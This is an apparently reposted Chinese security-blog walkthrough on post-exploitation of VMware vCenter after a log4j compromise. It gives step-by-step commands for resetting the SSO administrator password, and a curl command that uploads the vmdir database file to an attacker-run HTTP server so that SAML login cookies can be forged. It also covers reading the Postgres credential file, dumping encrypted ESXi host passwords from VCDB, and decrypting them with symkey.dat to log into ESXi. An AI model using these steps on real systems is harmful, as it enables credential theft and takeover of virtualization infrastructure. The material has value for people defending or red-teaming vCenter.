实战 | Vcenter 后渗透利用

admin 2024年7月15日12:31:30评论38 views字数 2184阅读7分16秒阅读模式
 

一、简介

前段时间在搞攻防,遇到了Vcenter,通过log4j拿下了vcenter的root权限,到这⾥需要获取其密码进⾏登录。再次记录⼀下踩坑记录。

⼆、利⽤⽅式

1、重置密码

最简单粗暴的⽅式就是直接重置控制台的密码,但是这样会影响到防守⽅的业务,⽽且也很容易被发现

#Linux/usr/lib/vmware-vmdir/bin/vdcadmintool#WindowsC:Program FilesVmwarevCenter Servervmdirdvdcadmintool.exe

执⾏后选择重置密码选项,然后输⼊administrator@vsphere.local   进⾏重置。

2、 Cookie 登录

读取数据库的⽂件,然后使⽤脚本进⾏利⽤解密cookie,使⽤获取到的cookie进⾏登录。

1  利⽤脚本2  https://github.com/horizon3ai/vcenter_saml_login

数据库⽂件位于

linux/storage/db/vmware-vmdir/data.mdbwindowsC:ProgramDataVMwarevCenterServerdatavmdirddata.mdb

这⾥可以通过在vps开启⼀个http服务

python3 SimpleHTTPServerWithUpload.py
然后将数据库⽂件上传到vps
curl -F “file=@/storage/db/vmware-vmdir/data.mdb” http://192.168.11.50:8000/

最后再利⽤脚本执⾏,获取登录的cookie

python vcenter_saml_login.py -p data.mdb -t IP

在本次实战中,使⽤此⽅式遇到了很多的坑,出现了⼀堆的报错信息,很久也⽆法结局,所以本次采⽤的是第三种⽅式。获取esxi密码

3、获取esxi密码

在此之前,先了解下vSphere,ESXi 和 vCenter:

vSphere 是在数据中⼼产品下的⼀套软件。vSphere 类似微软的 Office 办公套件,Office 办公套件包含了许多软件如 Word,Excel,Access 等。和 Office⼀样,vSphere也是⼀个软件的集合。它包括了vCenter Server, ESXi 和 vSphere client,是整套虚拟化部署⽅案的总和。

ESXi 是 vSphere 中最重要的⼀个组件。ESXi 是虚拟化服务。所有的虚拟机都是运⾏在 ESXi 服务上⾯。

vSphere (web) client 是⼀个管理平台,它能够直接管理多个不同的 ESXi 主机,包含许多进阶功能:集群故障转移等。⽽ ESXi ⾃带的管理平台只能管理⾃身所处的 ESXi 主机。⽽ vSphere client 有更加详细的性能监控,批量更新接管所有 ESXi 系统版本。通过资源池也可以规划虚拟机资源占⽤。

vCenter Server在ESXi 6.0之前是通过C/S架构来管理 ESXi 集群的,没有 web 端,且安装环境较为苛刻,必须为 Server 版本的服务器才可以安装。在 6.0 版本之后,官⽅已经取消了 C/S 架构的客户端,转⽽采⽤了 web 管理平台,⼜被称之为 vSphere web client。⽽部署了 vSphere web client 的服务器被称之为 vCenter Server。

在vCenter系统中,存在⼀个包含客户端postgresDB的明⽂登录凭证的文件:/etc/vmware- vpx/vcdb.properties。任何属于 cis 组的⽤户都可以访问这个⽂件。即:任何属于 cis 组的⽤户都可以连接到 vCenter 的 Postgres 数据库。

获取postgres 数据库信息。

# linuxcat /etc/vmware-vpx/vcdb.properties# windowsC:ProgramDataVMwarevCenterServercfgvmware-vpsvcdb.properties

连接数据库,获取到vpxuser密钥信息

# linux2  /opt/vmware/vpostgres/current/bin/psql -h 127.0.0.1 -p 5432 -U vc -d VCDB - c "select ip_address,user_name,password from vpx_host;" > password.enc34  #windows5  C:Program FilesVMwarevCenter ServervPostgresbinpsql.exe -h 127.0.0.1-p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_hos t;" > password.enc

读出来的类似于以下格式

实战 | Vcenter 后渗透利用

读取密钥symkey.dat

# windowstype C:ProgramDataVMwarevCenterServercfgvmware-vpxsslsymkey.dat# linuxcat /etc/vmware-vpx/ssl/symkey.dat

然后再使⽤脚本解密

python3 decrypt.py symkey.dat password.enc password.txt

实战 | Vcenter 后渗透利用

脚本链接

可前往原文观看

使⽤解密出来的账号信息可直接登录esxi


原文始发于微信公众号(渗透安全团队):实战 | Vcenter 后渗透利用

 

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月15日12:31:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战 | Vcenter 后渗透利用https://cn-sec.com/archives/2955772.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息